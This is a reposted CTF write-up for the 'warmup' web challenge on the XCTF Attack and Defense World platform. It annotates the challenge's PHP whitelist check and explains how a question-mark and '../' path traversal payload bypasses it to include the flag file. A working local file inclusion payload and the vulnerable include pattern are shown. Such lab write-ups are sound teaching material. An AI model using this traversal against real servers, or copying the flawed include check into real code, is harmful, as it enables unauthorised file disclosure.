当前位置:网站首页>Advanced area of attack and defense world web masters warmup
Advanced area of attack and defense world web masters warmup
2022-07-29 00:17:00 【Ant200】
View page source code , Find out source.php

Get into source.php, Find the source code

Code audit , analysis
<?php
highlight_file(__FILE__); // The highlighted
class emmm // Define a class
{
public static function checkFile(&$page)// Check function
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];// Define a white list
if (! isset($page) || !is_string($page)) { // The variable does not exist or is not a string , Enter a string to bypass
echo "you can't see it";// Print you can't view this
return false;// return false
}
if (in_array($page, $whitelist)) { // Does it exist in $whitelist, Existence can bypass
return true;// return ture
}
$_page = mb_substr( // Intercepting string
$page,
0,
mb_strpos($page . '?', '?') // Intercept $page in ? The part before the first appearance
);
if (in_array($_page, $whitelist)) {// Whether this part exists in $whitelist Array , Is to return ture, Guaranteed interception ? Before that was source perhaps hint perhaps source.php perhaps hint.php, You can bypass
return true;
}
$_page = urldecode($page); //url Decrypt
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?') // Intercept $page in ? The part before the first appearance
);
if (in_array($_page, $whitelist)) {// The same as above can bypass
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) // The input is not empty , be ture
&& is_string($_REQUEST['file']) // The input is a string
&& emmm::checkFile($_REQUEST['file'])// Execute the check function
) {
include $_REQUEST['file'];// The execution file contains
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";// Print pictures
}
?> Find out hint.php file , The interview told flag The location of
Obviously, we want to execute the file containing flag, The conditions contained in the file should meet the last if,
if (! empty($_REQUEST['file']) // The input is not empty , be ture
&& is_string($_REQUEST['file']) // The input is a string
&& emmm::checkFile($_REQUEST['file'])// Execute the check functionThe first two are very satisfying , Just enter a string , Now analyze the last conditional check function , Bypass I have written the code
Here we only know the file name but not the path , Look up Information
Here we just ../ Enough to find , Usually write five or six , Can't find another
structure payload:?file=source.php?/../../../../../../ffffllllaaaagggg
http://xxx.xxx.xxx/source.php?file=source.php?/../../../../../../ffffllllaaaaggggPay attention here , The first question mark is used to pass parameters , It can be like this payload(source.php It can also be changed to hint.php)
http://xxx.xxx.xxx/?file=source.php?/../../../../../../ffffllllaaaaggggBring in to get flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}
Refer to the connection :(40 Bar message ) 【XCTF Master advanced area 】 web7_warmup writeup( One )_Mitch311 The blog of -CSDN Blog
边栏推荐
- ISO 13400(DoIP)标准解读
- Immutable x officially opens IMX token pledge detailed IMX pledge introduction optimistic about the development prospect of IMX
- Web系统常见安全漏洞介绍及解决方案-CSRF攻击
- Where is sandbox's confidence in rejecting meta's acquisition of meta universe leader sand?
- Samsung asset management (Hong Kong) launched yuancosmos ETF to focus on investing in the future tuyere track
- Worthington - chemical properties and related studies of Worthington trypsin
- Why is it so difficult for the SEC to refuse the application for transferring gray-scale GBTC to spot ETF? What is the attraction of ETF transfer?
- Opencv macro definition
- Create AP hotspots for imx6 development board QT system based on rtl8723 cross compile iptables
- EN 12101-8:2011 smoke dampers for smoke and heat control systems - CE certification
猜你喜欢

110道 MySQL面试题及答案 (持续更新)

熊市下PLATO如何通过Elephant Swap,获得溢价收益?

Exchange 2013 SSL certificate installation document

Advanced area of attack and defense world web masters training www robots

Okaleido ecological core equity Oka, all in fusion mining mode

EN 1935 building hardware. Single axis hinge - CE certification

[TA frost wolf \u may - "hundred people plan"] Figure 3.6 texture compression - inclusion slimming

【C】 Replace spaces and realize binary parity bit exchange of integers by macros

JS advanced ES6 ~ es13 new features

[TA frost wolf _may- "hundred people plan"] art 2.2 model basis
随机推荐
EN 12101-8:2011 smoke dampers for smoke and heat control systems - CE certification
Do you know any formal part-time platforms?
curl (7) Failed connect to localhost8080; Connection refused
Powercli batch add esxi to vCenter
Dual for loop optimization
【TA-霜狼_may-《百人计划》】图形3.6 纹理压缩——包体瘦身术
Web系统常见安全漏洞介绍及解决方案-sql注入
跳表的原理
The failure rate is as high as 80%. How to correctly complete the strategic planning of digital transformation?
【C】 Replace spaces and realize binary parity bit exchange of integers by macros
Sword finger offer 55 - I. depth of binary tree
Advanced area of attack and defense world web masters training www robots
Yolov5 learning notes (I) -- principle overview
After SAP Oracle replicates a new instance, the remote connection of the database reports an error ora-01031
Powercli VMware vCenter deploys conventional new VMS in batch through self built PXE server with one click
1-6 state与绑定事件
1-7 solve the problem of this pointing of methods in classes
Leetcode62. Different paths
CV target detection model sketch (2)
Three years after graduation, write to you and me who may be confused [turn]
Obviously, we want to execute the file containing flag, The conditions contained in the file should meet the last if,
